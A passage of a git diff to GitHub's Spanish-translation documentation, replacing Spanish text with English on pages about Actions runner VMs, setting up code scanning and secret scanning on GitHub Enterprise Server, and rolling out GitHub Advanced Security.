Linux virtual machines run using passwordless `sudo`. When you need to execute commands or install tools that require more privileges than the current user, you can use `sudo` without needing to provide a password. For more information, see the "[Sudo Manual](https://www.sudo.ws/man/1.8.27/sudo.man.html)." -Las máquinas virtuales de Windows están configuradas para ejecutarse como administradores con el control de cuentas de usuario (UAC) inhabilitado. Para obtener más información, consulta "[Cómo funciona el control de cuentas de usuario](https://docs.microsoft.com/windows/security/identity-protection/user-account-control/how-user-account-control-works)" en la documentación de Windows. +Windows virtual machines are configured to run as administrators with User Account Control (UAC) disabled. For more information, see "[How User Account Control works](https://docs.microsoft.com/windows/security/identity-protection/user-account-control/how-user-account-control-works)" in the Windows documentation. -## Sistemas de archivos +## File systems -{% data variables.product.prodname_dotcom %} ejecuta acciones y comandos de shell en directorios específicos en la máquina virtual. Las rutas de archivo en las máquinas virtuales no son estáticas. Usa las variables de entorno que proporciona {% data variables.product.prodname_dotcom %} para construir rutas de archivo para los directorios `home`, `workspace` y `workflow`. +{% data variables.product.prodname_dotcom %} executes actions and shell commands in specific directories on the virtual machine. The file paths on virtual machines are not static. Use the environment variables {% data variables.product.prodname_dotcom %} provides to construct file paths for the `home`, `workspace`, and `workflow` directories. -| Directorio | Variable de entorno | Descripción | -| --------------------- | ------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `home` | `HOME` | Contiene datos relacionados con el usuario. Por ejemplo, este directorio podría contener las credenciales de un intento de inicio de sesión. | -| `workspace` | `GITHUB_WORKSPACE` | Las acciones y los comandos del shell se ejecutan en este directorio. Una acción puede modificar los contenidos de este directorio, al que pueden tener acceso acciones posteriores. | -| `workflow/event.json` | `GITHUB_EVENT_PATH` | La carga `POST` del evento de webhook que activó el flujo de trabajo. {% data variables.product.prodname_dotcom %} reescribe esto cada vez que se ejecuta una acción para aislar el contenido del archivo entre acciones. | +| Directory | Environment variable | Description | +|-----------|----------------------|-------------| +| `home` | `HOME` | Contains user-related data. For example, this directory could contain credentials from a login attempt. | +| `workspace` | `GITHUB_WORKSPACE` | Actions and shell commands execute in this directory. An action can modify the contents of this directory, which subsequent actions can access. | +| `workflow/event.json` | `GITHUB_EVENT_PATH` | The `POST` payload of the webhook event that triggered the workflow. {% data variables.product.prodname_dotcom %} rewrites this each time an action executes to isolate file content between actions. -Para obtener una lista de las variables de entorno que crea {% data variables.product.prodname_dotcom %} para cada flujo de trabajo, consulta "[Usar variables de entorno](/github/automating-your-workflow-with-github-actions/using-environment-variables)". +For a list of the environment variables {% data variables.product.prodname_dotcom %} creates for each workflow, see "[Using environment variables](/github/automating-your-workflow-with-github-actions/using-environment-variables)." -### Sistema de archivos del contenedor de Docker +### Docker container filesystem -Las acciones que se ejecutan en contenedores Docker tienen directorios estáticos en la ruta `/github`. Sin embargo, te recomendamos encarecidamente que uses las variables de entorno predeterminadas para construir rutas de archivos en contenedores de Docker. +Actions that run in Docker containers have static directories under the `/github` path. However, we strongly recommend using the default environment variables to construct file paths in Docker containers. -{% data variables.product.prodname_dotcom %} se reserva el prefijo de ruta `/github` y crea tres directorios para las acciones. +{% data variables.product.prodname_dotcom %} reserves the `/github` path prefix and creates three directories for actions. - `/github/home` - `/github/workspace` - {% data reusables.repositories.action-root-user-required %} diff --git a/translations/es-ES/content/admin/advanced-security/configuring-code-scanning-for-your-appliance.md b/translations/es-ES/content/admin/advanced-security/configuring-code-scanning-for-your-appliance.md index 61eddf7335..5026c04d1a 100644 --- a/translations/es-ES/content/admin/advanced-security/configuring-code-scanning-for-your-appliance.md +++ b/translations/es-ES/content/admin/advanced-security/configuring-code-scanning-for-your-appliance.md @@ -1,7 +1,7 @@ --- -title: Configurar el escaneo de código para tu aplicativo -shortTitle: Configurar el escaneo de código -intro: 'Puedes habilitar, configurar e inhabilitar el {% data variables.product.prodname_code_scanning %} para {% data variables.product.product_location %}. {% data variables.product.prodname_code_scanning_capc %} permite que los usuarios escaneen el código para encontrar vulnerabilidades y errores.' +title: Configuring code scanning for your appliance +shortTitle: Configuring code scanning +intro: 'You can enable, configure and disable {% data variables.product.prodname_code_scanning %} for {% data variables.product.product_location %}. {% data variables.product.prodname_code_scanning_capc %} allows users to scan code for vulnerabilities and errors.' product: '{% data reusables.gated-features.code-scanning %}' miniTocMaxHeadingLevel: 3 redirect_from: @@ -19,54 +19,58 @@ topics: {% data reusables.code-scanning.beta %} -## Acerca de {% data variables.product.prodname_code_scanning %} +## About {% data variables.product.prodname_code_scanning %} {% data reusables.code-scanning.about-code-scanning %} -Puedes configurar el {% data variables.product.prodname_code_scanning %} para ejecutar los análisis del {% data variables.product.prodname_codeql %} y de terceros. El {% data variables.product.prodname_code_scanning_capc %} también es compatible con ejecutar análisis de forma nativa utilizando las {% data variables.product.prodname_actions %} o utilizando la infraestructura de IC/DC existente externamente. La siguiente tabla resume todas las opciones disponibles para los usuarios cuando configuras {% data variables.product.product_location %} para que permita el {% data variables.product.prodname_code_scanning %} utilizando acciones. +You can configure {% data variables.product.prodname_code_scanning %} to run {% data variables.product.prodname_codeql %} analysis and third-party analysis. {% data variables.product.prodname_code_scanning_capc %} also supports running analysis natively using {% data variables.product.prodname_actions %} or externally using existing CI/CD infrastructure. The table below summarizes all the options available to users when you configure {% data variables.product.product_location %} to allow {% data variables.product.prodname_code_scanning %} using actions. {% data reusables.code-scanning.enabling-options %} -## Prerequisitos para el {% data variables.product.prodname_code_scanning %} +## Checking whether your license includes {% data variables.product.prodname_GH_advanced_security %} -- Una licencia para {% data variables.product.prodname_GH_advanced_security %}{% ifversion ghes > 3.0 %} (consulta la sección "[Acerca de la facturación para {% data variables.product.prodname_GH_advanced_security %}](/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security)"){% endif %} +{% data reusables.advanced-security.check-for-ghas-license %} -- El {% data variables.product.prodname_code_scanning_capc %} habilitado en la consola de administración (consulta la sección "[Habilitar la {% data variables.product.prodname_GH_advanced_security %} para tu empresa](/admin/advanced-security/enabling-github-advanced-security-for-your-enterprise)") +## Prerequisites for {% data variables.product.prodname_code_scanning %} -- Una MV o contenedor para ejecutar el análisis de {% data variables.product.prodname_code_scanning %}. +- A license for {% data variables.product.prodname_GH_advanced_security %}{% ifversion ghes > 3.0 %} (see "[About billing for {% data variables.product.prodname_GH_advanced_security %}](/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security)"){% endif %} -## Ejecutar el {% data variables.product.prodname_code_scanning %} utilizando {% data variables.product.prodname_actions %} +- {% data variables.product.prodname_code_scanning_capc %} enabled in the management console (see "[Enabling {% data variables.product.prodname_GH_advanced_security %} for your enterprise](/admin/advanced-security/enabling-github-advanced-security-for-your-enterprise)") -### Configurar un ejecutor auto-hospedado +- A VM or container for {% data variables.product.prodname_code_scanning %} analysis to run in. -{% data variables.product.prodname_ghe_server %} puede ejecutar un {% data variables.product.prodname_code_scanning %} utilizando un flujo de trabajo de {% data variables.product.prodname_actions %}. Primero, necesitas aprovisionar uno o más ejecutores auto-hospedados de {% data variables.product.prodname_actions %} en tu ambiente. Puedes aprovisionar ejecutores auto-hospedados a nivel de repositorio, organización o empresa. Para obtener más información, consulta las secciones "[Acerca de los ejecutores auto-hospedados](/actions/hosting-your-own-runners/about-self-hosted-runners)" y "[Agregar ejecutores auto-hospedados](/actions/hosting-your-own-runners/adding-self-hosted-runners)". +## Running {% data variables.product.prodname_code_scanning %} using {% data variables.product.prodname_actions %} -Debes asegurarte de que Git esté en la variable de "PATH" de cualquier ejecutor auto-hospedado que utilices para ejecutar las acciones de {% data variables.product.prodname_codeql %}. +### Setting up a self-hosted runner -### Aprovisionar las acciones del {% data variables.product.prodname_code_scanning %} +{% data variables.product.prodname_ghe_server %} can run {% data variables.product.prodname_code_scanning %} using a {% data variables.product.prodname_actions %} workflow. First, you need to provision one or more self-hosted {% data variables.product.prodname_actions %} runners in your environment. You can provision self-hosted runners at the repository, organization, or enterprise account level. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners)" and "[Adding self-hosted runners](/actions/hosting-your-own-runners/adding-self-hosted-runners)." + +You must ensure that Git is in the PATH variable on any self-hosted runners you use to run {% data variables.product.prodname_codeql %} actions. + +### Provisioning the actions for {% data variables.product.prodname_code_scanning %} {% ifversion ghes %} -Si quieres utilizar acciones para ejecutar el {% data variables.product.prodname_code_scanning %} en {% data variables.product.prodname_ghe_server %}, las acciones deben estar disponibles en tu aplicativo. +If you want to use actions to run {% data variables.product.prodname_code_scanning %} on {% data variables.product.prodname_ghe_server %}, the actions must be available on your appliance. -La acción {% data variables.product.prodname_codeql %} se incluye en tu instalación de {% data variables.product.prodname_ghe_server %}. Si {% data variables.product.prodname_ghe_server %} tiene acceso a internet, la acción descargará automáticamente el paquete de {% data variables.product.prodname_codeql %} que se requiere para realizar el análisis. Como alternativa, puedes utilizar una herramienta de sincronización para hacer disponible el paquete de análisis de {% data variables.product.prodname_codeql %} localmente. Para obtener más información, consulta la sección "[Configurar el análisis de {% data variables.product.prodname_codeql %} en un servidor sin acceso a internet](#configuring-codeql-analysis-on-a-server-without-internet-access)" a continuación. +The {% data variables.product.prodname_codeql %} action is included in your installation of {% data variables.product.prodname_ghe_server %}. If {% data variables.product.prodname_ghe_server %} has access to the internet, the action will automatically download the {% data variables.product.prodname_codeql %} bundle required to perform analysis. Alternatively, you can use a synchronization tool to make the {% data variables.product.prodname_codeql %} analysis bundle available locally. For more information, see "[Configuring {% data variables.product.prodname_codeql %} analysis on a server without internet access](#configuring-codeql-analysis-on-a-server-without-internet-access)" below. -También puedes hacer que acciones de terceros estén disponibles para el {% data variables.product.prodname_code_scanning %} para los usuarios si configuras {% data variables.product.prodname_github_connect %}. Para obtener más información, consulta la sección "[Configurar a {% data variables.product.prodname_github_connect %} para que se sincronice con {% data variables.product.prodname_actions %}](/enterprise/admin/configuration/configuring-code-scanning-for-your-appliance#configuring-github-connect-to-sync-github-actions)" más adelante. +You can also make third-party actions available to users for {% data variables.product.prodname_code_scanning %}, by setting up {% data variables.product.prodname_github_connect %}. For more information, see "[Configuring {% data variables.product.prodname_github_connect %} to sync {% data variables.product.prodname_actions %}](/enterprise/admin/configuration/configuring-code-scanning-for-your-appliance#configuring-github-connect-to-sync-github-actions)" below. -### Configurar el análisis de {% data variables.product.prodname_codeql %} en un servidor sin acceso a internet -Si el servidor en el que estás ejecutando a {% data variables.product.prodname_ghe_server %} no está conectado a internet y quieres permitir que los usuarios habiliten el {% data variables.product.prodname_code_scanning %} de {% data variables.product.prodname_codeql %} para sus repositorios, debes utilizar la herramienta de sincronización de la acción de {% data variables.product.prodname_codeql %} para copiar el paquete de análisis de {% data variables.product.prodname_codeql %} desde {% data variables.product.prodname_dotcom_the_website %} hacia tu servidor. La herramienta y los detalles de su uso se encuentran disponibles en [https://github.com/github/codeql-action-sync-tool](https://github.com/github/codeql-action-sync-tool/). +### Configuring {% data variables.product.prodname_codeql %} analysis on a server without internet access +If the server on which you are running {% data variables.product.prodname_ghe_server %} is not connected to the internet, and you want to allow users to enable {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} for their repositories, you must use the {% data variables.product.prodname_codeql %} action sync tool to copy the {% data variables.product.prodname_codeql %} analysis bundle from {% data variables.product.prodname_dotcom_the_website %} to your server. The tool, and details of how to use it, are available at [https://github.com/github/codeql-action-sync-tool](https://github.com/github/codeql-action-sync-tool/). -Si configuras la herramienta de sincronización de la acción de {% data variables.product.prodname_codeql %}, puedes utilizarla para sincronizar los últimos lanzamientos de la acción de {% data variables.product.prodname_codeql %} y el paquete de análisis de {% data variables.product.prodname_codeql %} relacionado. Estos son compatibles con {% data variables.product.prodname_ghe_server %}. +If you set up the {% data variables.product.prodname_codeql %} action sync tool, you can use it to sync the latest releases of the {% data variables.product.prodname_codeql %} action and associated {% data variables.product.prodname_codeql %} analysis bundle. These are compatible with {% data variables.product.prodname_ghe_server %}. {% endif %} -### Configurar {% data variables.product.prodname_github_connect %} para sincronizarse con {% data variables.product.prodname_actions %} -1. Si quieres descargar flujos de trabajo de acciones por petición desde {% data variables.product.prodname_dotcom_the_website %}, necesitarás habilitar {% data variables.product.prodname_github_connect %}. Para obtener más información, consulta la sección "[Habilitar {% data variables.product.prodname_github_connect %}](/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud#enabling-github-connect)". -2. También tendrás que habilitar {% data variables.product.prodname_actions %} para {% data variables.product.product_location %}. Para obtener más información, consulta la sección "[Iniciar con las {% data variables.product.prodname_actions %} para {% data variables.product.prodname_ghe_server %}](/admin/github-actions/getting-started-with-github-actions-for-github-enterprise-server)". -3. El siguiente paso es configurar el acceso a las acciones en {% data variables.product.prodname_dotcom_the_website %} utilizando {% data variables.product.prodname_github_connect %}. Para obtener más información, consulta la sección "[Habilitar el acceso automático a las acciones de {% data variables.product.prodname_dotcom_the_website %} utilizando{% data variables.product.prodname_github_connect %}](/enterprise/admin/github-actions/enabling-automatic-access-to-githubcom-actions-using-github-connect)". -4. Agrega un ejecutor auto-hospedado a tu repositorio, organización, o cuenta empresarial. Para obtener más información, consulta "[Agregar ejecutores autoalojados](/actions/hosting-your-own-runners/adding-self-hosted-runners)." +### Configuring {% data variables.product.prodname_github_connect %} to sync {% data variables.product.prodname_actions %} +1. If you want to download action workflows on demand from {% data variables.product.prodname_dotcom_the_website %}, you need to enable {% data variables.product.prodname_github_connect %}. For more information, see "[Enabling {% data variables.product.prodname_github_connect %}](/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud#enabling-github-connect)." +2. You'll also need to enable {% data variables.product.prodname_actions %} for {% data variables.product.product_location %}. For more information, see "[Getting started with {% data variables.product.prodname_actions %} for {% data variables.product.prodname_ghe_server %}](/admin/github-actions/getting-started-with-github-actions-for-github-enterprise-server)." +3. The next step is to configure access to actions on {% data variables.product.prodname_dotcom_the_website %} using {% data variables.product.prodname_github_connect %}. For more information, see "[Enabling automatic access to {% data variables.product.prodname_dotcom_the_website %} actions using {% data variables.product.prodname_github_connect %}](/enterprise/admin/github-actions/enabling-automatic-access-to-githubcom-actions-using-github-connect)." +4. Add a self-hosted runner to your repository, organization, or enterprise account. For more information, see "[Adding self-hosted runners](/actions/hosting-your-own-runners/adding-self-hosted-runners)." -## Ejecutar el {% data variables.product.prodname_code_scanning %} utilizando el {% data variables.product.prodname_codeql_runner %} -Si no quieres utilizar {% data variables.product.prodname_actions %}, puedes ejecutar el {% data variables.product.prodname_code_scanning %} utilizando el {% data variables.product.prodname_codeql_runner %}. +## Running {% data variables.product.prodname_code_scanning %} using the {% data variables.product.prodname_codeql_runner %} +If you don't want to use {% data variables.product.prodname_actions %}, you can run {% data variables.product.prodname_code_scanning %} using the {% data variables.product.prodname_codeql_runner %}. -El {% data variables.product.prodname_codeql_runner %} es una herramienta de línea de comandos que puedes agregar a tu sistema de IC/CD de terceros. Esta herramienta ejecuta el análisis de {% data variables.product.prodname_codeql %} en un control de un repositorio de {% data variables.product.prodname_dotcom %}. Para obtener más información, consulta la sección "[Ejecutar el {% data variables.product.prodname_code_scanning %} en tu sistema de IC](/github/finding-security-vulnerabilities-and-errors-in-your-code/running-codeql-code-scanning-in-your-ci-system)". +The {% data variables.product.prodname_codeql_runner %} is a command-line tool that you can add to your third-party CI/CD system. The tool runs {% data variables.product.prodname_codeql %} analysis on a checkout of a {% data variables.product.prodname_dotcom %} repository. For more information, see "[Running {% data variables.product.prodname_code_scanning %} in your CI system](/github/finding-security-vulnerabilities-and-errors-in-your-code/running-codeql-code-scanning-in-your-ci-system)." diff --git a/translations/es-ES/content/admin/advanced-security/configuring-secret-scanning-for-your-appliance.md b/translations/es-ES/content/admin/advanced-security/configuring-secret-scanning-for-your-appliance.md index bb404a90c7..1ff1342d1f 100644 --- a/translations/es-ES/content/admin/advanced-security/configuring-secret-scanning-for-your-appliance.md +++ b/translations/es-ES/content/admin/advanced-security/configuring-secret-scanning-for-your-appliance.md @@ -1,7 +1,7 @@ --- -title: Configurar el escaneo de secretos para tu aplicativo -shortTitle: Configurar el escaneo de secretos -intro: 'Puedes habilitar, configurar e inhabilitar el {% data variables.product.prodname_secret_scanning %} para {% data variables.product.product_location %}. {% data variables.product.prodname_secret_scanning_caps %} permite a los usuarios escanear código para los secretos que se confirmaron por accidente.' +title: Configuring secret scanning for your appliance +shortTitle: Configuring secret scanning +intro: 'You can enable, configure, and disable {% data variables.product.prodname_secret_scanning %} for {% data variables.product.product_location %}. {% data variables.product.prodname_secret_scanning_caps %} allows users to scan code for accidentally committed secrets.' product: '{% data reusables.gated-features.secret-scanning %}' miniTocMaxHeadingLevel: 3 redirect_from: @@ -18,63 +18,56 @@ topics: {% data reusables.secret-scanning.beta %} -## Acerca de {% data variables.product.prodname_secret_scanning %} +## About {% data variables.product.prodname_secret_scanning %} -{% data reusables.secret-scanning.about-secret-scanning %} Para obtener más información, consulta la sección "[Acerca del {% data variables.product.prodname_secret_scanning %}](/github/administering-a-repository/about-secret-scanning)". +{% data reusables.secret-scanning.about-secret-scanning %} For more information, see "[About {% data variables.product.prodname_secret_scanning %}](/github/administering-a-repository/about-secret-scanning)." -## Prerequisitos del {% data variables.product.prodname_secret_scanning %} +## Checking whether your license includes {% data variables.product.prodname_GH_advanced_security %} + +{% data reusables.advanced-security.check-for-ghas-license %} + +## Prerequisites for {% data variables.product.prodname_secret_scanning %} -- Necesitas habilitar el marcador de CPU de las [SSSE3](https://www.intel.com/content/dam/www/public/us/en/documents/manuals/64-ia-32-architectures-optimization-manual.pdf#G3.1106470) (Extenciones SIMD de Streaming Suplementario 3, por sus siglas en inglés) en el VM/KVM que ejecuta {% data variables.product.product_location %}. +- The [SSSE3](https://www.intel.com/content/dam/www/public/us/en/documents/manuals/64-ia-32-architectures-optimization-manual.pdf#G3.1106470) (Supplemental Streaming SIMD Extensions 3) CPU flag needs to be enabled on the VM/KVM that runs {% data variables.product.product_location %}. -- Una licencia para {% data variables.product.prodname_GH_advanced_security %}{% ifversion ghes > 3.0 %} (consulta la sección "[Acerca de la facturación para {% data variables.product.prodname_GH_advanced_security %}](/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security)"){% endif %} +- A license for {% data variables.product.prodname_GH_advanced_security %}{% ifversion ghes > 3.0 %} (see "[About billing for {% data variables.product.prodname_GH_advanced_security %}](/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security)"){% endif %} -- Eñ {% data variables.product.prodname_secret_scanning_caps %} habilitado en la consola de administración (consulta la sección "[Habilitar la {% data variables.product.prodname_GH_advanced_security %} para tu empresa](/admin/advanced-security/enabling-github-advanced-security-for-your-enterprise)") +- {% data variables.product.prodname_secret_scanning_caps %} enabled in the management console (see "[Enabling {% data variables.product.prodname_GH_advanced_security %} for your enterprise](/admin/advanced-security/enabling-github-advanced-security-for-your-enterprise)") -## Verificar la compatibilidad del marcador de las SSSE3 en tus vCPU +### Checking support for the SSSE3 flag on your vCPUs -El conjunto de instrucciones de las SSSE3 se requiere porque el {% data variables.product.prodname_secret_scanning %} impulsa el patrón acelerado de hardware que empata para encontrar las credenciales potenciales que se confirmaron en tus repositorios de {% data variables.product.prodname_dotcom %}. Las SSSE3 se habilitan para la mayoría de los CPU modernos. Puedes verificar si las SSSE3 están habilitadas para los vCPU disponibles para tu instancia de {% data variables.product.prodname_ghe_server %}. +The SSSE3 set of instructions is required because {% data variables.product.prodname_secret_scanning %} leverages hardware accelerated pattern matching to find potential credentials committed to your {% data variables.product.prodname_dotcom %} repositories. SSSE3 is enabled for most modern CPUs. You can check whether SSSE3 is enabled for the vCPUs available to your {% data variables.product.prodname_ghe_server %} instance. -1. Conéctate al shell administrativo para tu instancia de {% data variables.product.prodname_ghe_server %}. Para obtener más información, consulta "[Acceder al shell administrativo (SSH)](/admin/configuration/accessing-the-administrative-shell-ssh)." -2. Ingresa el siguiente comando: +1. Connect to the administrative shell for your {% data variables.product.prodname_ghe_server %} instance. For more information, see "[Accessing the administrative shell (SSH)](/admin/configuration/accessing-the-administrative-shell-ssh)." +2. Enter the following command: -```shell -grep -iE '^flags.*ssse3' /proc/cpuinfo >/dev/null | echo $? -``` + ```shell + grep -iE '^flags.*ssse3' /proc/cpuinfo >/dev/null | echo $? + ``` -Si esto devuelve el valor `0`, esto significa que el marcador de SSSE3 se encuentra disponible y habilitado. Ahora puedes habilitar el {% data variables.product.prodname_secret_scanning %} para {% data variables.product.product_location %}. Para obtener más información, consulta la sección "[Habilitar el {% data variables.product.prodname_secret_scanning %}](#enabling-secret-scanning)" que se encuentra más adelante. + If this returns the value `0`, it means that the SSSE3 flag is available and enabled. You can now enable {% data variables.product.prodname_secret_scanning %} for {% data variables.product.product_location %}. For more information, see "[Enabling {% data variables.product.prodname_secret_scanning %}](#enabling-secret-scanning)" below. -Si no se devuelve un `0`, entonces no se ha habilitado las SSSE3 en tu VM/KVM. Necesitarás referirte a la documentación del hardware/hípervisor para encontrar cómo habilitar el marcador o ponerlo disponible como VM invitadas. + If this doesn't return `0`, SSSE3 is not enabled on your VM/KVM. You need to refer to the documentation of the hardware/hypervisor on how to enable the flag, or make it available to guest VMs. -### Verificar si tienes una licencia de {% data variables.product.prodname_advanced_security %} - -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -1. Verifica si hay una entrada {% ifversion ghes < 3.2 %}de **{% data variables.product.prodname_advanced_security %}**{% else %} de **Seguridad**{% endif %} en la barra lateral izquierda. -{% ifversion ghes < 3.2 %} - ![Barra lateral de seguridad avanzada](/assets/images/enterprise/management-console/sidebar-advanced-security.png) -{% else %} - ![Barra lateral de seguridad](/assets/images/enterprise/3.2/management-console/sidebar-security.png) -{% endif %} - -{% data reusables.enterprise_management_console.advanced-security-license %} - -## Habilitar las {% data variables.product.prodname_secret_scanning %} +## Enabling {% data variables.product.prodname_secret_scanning %} {% data reusables.enterprise_management_console.enable-disable-security-features %} {% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% data reusables.enterprise_management_console.advanced-security-tab %} -1. Debajo de "{% ifversion ghes < 3.2 %}{% data variables.product.prodname_advanced_security %}{% else %} Seguridad{% endif %}", has clic en **{% data variables.product.prodname_secret_scanning_caps %}**. ![Casilla para habilitar o inhabilitar el {% data variables.product.prodname_secret_scanning %}](/assets/images/enterprise/management-console/enable-secret-scanning-checkbox.png) +1. Under "{% ifversion ghes < 3.2 %}{% data variables.product.prodname_advanced_security %}{% else %}Security{% endif %}," click **{% data variables.product.prodname_secret_scanning_caps %}**. +![Checkbox to enable or disable {% data variables.product.prodname_secret_scanning %}](/assets/images/enterprise/management-console/enable-secret-scanning-checkbox.png) {% data reusables.enterprise_management_console.save-settings %} -## Inhabilitar las {% data variables.product.prodname_secret_scanning %} +## Disabling {% data variables.product.prodname_secret_scanning %} {% data reusables.enterprise_management_console.enable-disable-security-features %} {% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% data reusables.enterprise_management_console.advanced-security-tab %} -1. Debajo de "{% ifversion ghes < 3.2 %}{% data variables.product.prodname_advanced_security %}{% else %}Seguridad{% endif %}", deselecciona **{% data variables.product.prodname_secret_scanning_caps %}**. ![Casilla para habilitar o inhabilitar el {% data variables.product.prodname_secret_scanning %}](/assets/images/enterprise/management-console/secret-scanning-disable.png) +1. Under "{% ifversion ghes < 3.2 %}{% data variables.product.prodname_advanced_security %}{% else %}Security{% endif %}," unselect **{% data variables.product.prodname_secret_scanning_caps %}**. +![Checkbox to enable or disable {% data variables.product.prodname_secret_scanning %}](/assets/images/enterprise/management-console/secret-scanning-disable.png) {% data reusables.enterprise_management_console.save-settings %} diff --git a/translations/es-ES/content/admin/advanced-security/enabling-github-advanced-security-for-your-enterprise.md b/translations/es-ES/content/admin/advanced-security/enabling-github-advanced-security-for-your-enterprise.md index d32b69a028..d2d205a75c 100644 --- a/translations/es-ES/content/admin/advanced-security/enabling-github-advanced-security-for-your-enterprise.md +++ b/translations/es-ES/content/admin/advanced-security/enabling-github-advanced-security-for-your-enterprise.md @@ -28,17 +28,6 @@ When you enable {% data variables.product.prodname_GH_advanced_security %} for y For guidance on a phased deployment of GitHub Advanced Security, see "[Deploying GitHub Advanced Security in your enterprise](/admin/advanced-security/deploying-github-advanced-security-in-your-enterprise)." {% endif %} -## Prerequisites for enabling {% data variables.product.prodname_GH_advanced_security %} - -1. Upgrade your license for {% data variables.product.product_name %} to include {% data variables.product.prodname_GH_advanced_security %}.{% ifversion ghes > 3.0 %} For information about licensing, see "[About billing for {% data variables.product.prodname_GH_advanced_security %}](/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security)."{% endif %} -2. Download the new license file. For more information, see "[Downloading your license for {% data variables.product.prodname_enterprise %}](/billing/managing-your-license-for-github-enterprise/downloading-your-license-for-github-enterprise)." -3. Upload the new license file to {% data variables.product.product_location %}. For more information, see "[Uploading a new license to {% data variables.product.prodname_ghe_server %}](/billing/managing-your-license-for-github-enterprise/uploading-a-new-license-to-github-enterprise-server)."{% ifversion ghes %} -4. Review the prerequisites for the features you plan to enable. - - - {% data variables.product.prodname_code_scanning_capc %}, see "[Configuring {% data variables.product.prodname_code_scanning %} for your appliance](/admin/advanced-security/configuring-code-scanning-for-your-appliance#prerequisites-for-code-scanning)." - - {% data variables.product.prodname_secret_scanning_caps %}, see "[Configuring {% data variables.product.prodname_secret_scanning %} for your appliance](/admin/advanced-security/configuring-secret-scanning-for-your-appliance#prerequisites-for-secret-scanning)."{% endif %} - - {% data variables.product.prodname_dependabot %}, see "[Enabling the dependency graph and {% data variables.product.prodname_dependabot_alerts %} on your enterprise account](/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-the-dependency-graph-and-dependabot-alerts-on-your-enterprise-account)." - ## Checking whether your license includes {% data variables.product.prodname_GH_advanced_security %} {% ifversion ghes > 3.0 %} @@ -58,6 +47,17 @@ For guidance on a phased deployment of GitHub Advanced Security, see "[Deploying {% data reusables.enterprise_management_console.advanced-security-license %} {% endif %} +## Prerequisites for enabling {% data variables.product.prodname_GH_advanced_security %} + +1. Upgrade your license for {% data variables.product.product_name %} to include {% data variables.product.prodname_GH_advanced_security %}.{% ifversion ghes > 3.0 %} For information about licensing, see "[About billing for {% data variables.product.prodname_GH_advanced_security %}](/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security)."{% endif %} +2. Download the new license file. For more information, see "[Downloading your license for {% data variables.product.prodname_enterprise %}](/billing/managing-your-license-for-github-enterprise/downloading-your-license-for-github-enterprise)." +3. Upload the new license file to {% data variables.product.product_location %}. For more information, see "[Uploading a new license to {% data variables.product.prodname_ghe_server %}](/billing/managing-your-license-for-github-enterprise/uploading-a-new-license-to-github-enterprise-server)."{% ifversion ghes %} +4. Review the prerequisites for the features you plan to enable. + + - {% data variables.product.prodname_code_scanning_capc %}, see "[Configuring {% data variables.product.prodname_code_scanning %} for your appliance](/admin/advanced-security/configuring-code-scanning-for-your-appliance#prerequisites-for-code-scanning)." + - {% data variables.product.prodname_secret_scanning_caps %}, see "[Configuring {% data variables.product.prodname_secret_scanning %} for your appliance](/admin/advanced-security/configuring-secret-scanning-for-your-appliance#prerequisites-for-secret-scanning)."{% endif %} + - {% data variables.product.prodname_dependabot %}, see "[Enabling the dependency graph and {% data variables.product.prodname_dependabot_alerts %} on your enterprise account](/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-the-dependency-graph-and-dependabot-alerts-on-your-enterprise-account)." + ## Enabling and disabling {% data variables.product.prodname_GH_advanced_security %} features {% data reusables.enterprise_management_console.enable-disable-security-features %} diff --git a/translations/es-ES/content/admin/advanced-security/overview-of-github-advanced-security-deployment.md b/translations/es-ES/content/admin/advanced-security/overview-of-github-advanced-security-deployment.md index 1372f1841c..a05ce5a4c5 100644 --- a/translations/es-ES/content/admin/advanced-security/overview-of-github-advanced-security-deployment.md +++ b/translations/es-ES/content/admin/advanced-security/overview-of-github-advanced-security-deployment.md @@ -19,9 +19,11 @@ topics: One of the biggest challenges in tackling new software for an company can be the rollout and implementation process, as well as bringing about the cultural change to drive the organizational buy-in needed to make the rollout successful. To help your company better understand and prepare for this process with GHAS, this overview is aimed at: - - Giving you an overview of what a GHAS rollout might look like for your company. + - Giving you an overview of what a GHAS rollout might look like for your + company. - Helping you prepare your company for a rollout. - - Sharing key best practices to help increase your company’s rollout success. + - Sharing key best practices to help increase your company’s rollout + success. To understand the security features available through {% data variables.product.prodname_GH_advanced_security %}, see "[{% data variables.product.prodname_dotcom %} security features](/code-security/getting-started/github-security-features)." @@ -38,7 +40,7 @@ Based on our experience helping customers with a successful deployment of {% dat For a detailed guide on implementing each of these phases, see "[Deploying {% data variables.product.prodname_GH_advanced_security %} in your enterprise](/admin/advanced-security/deploying-github-advanced-security-in-your-enterprise)." The next section gives you a high-level summary of each of these phases. -### {% octicon "milestone" aria-label="The milestone icon" %} Phase 0: Planning & kickoff +### {% octicon "milestone" aria-label="The milestone icon" %} Phase 0: Planning & kickoff During this phase, the overall goal is to plan and prepare for your rollout, ensuring that you have your people, processes, and technologies in place and ready for your rollout. You should also consider what success criteria will be used to measure GHAS adoption and usage across your teams. @@ -67,10 +69,10 @@ As you begin planning for your rollout and implementation, begin outlining goals Here are some high-level examples of what your goals for rolling out GHAS might look like: - **Reducing the number of vulnerabilities:** This may be in general, or because your company was recently impacted by a significant vulnerability that you believe could have been prevented by a tool like GHAS. - **Identifying high-risk repositories:** Some companies may simply want to target repositories that contain the most risk, ready to begin remediating vulnerabilities and reducing risk. - - **Increasing remediation rates:** This can be accomplished by driving developer adoption of findings and ensuring these vulnerabilities are remediated in a timely manner, 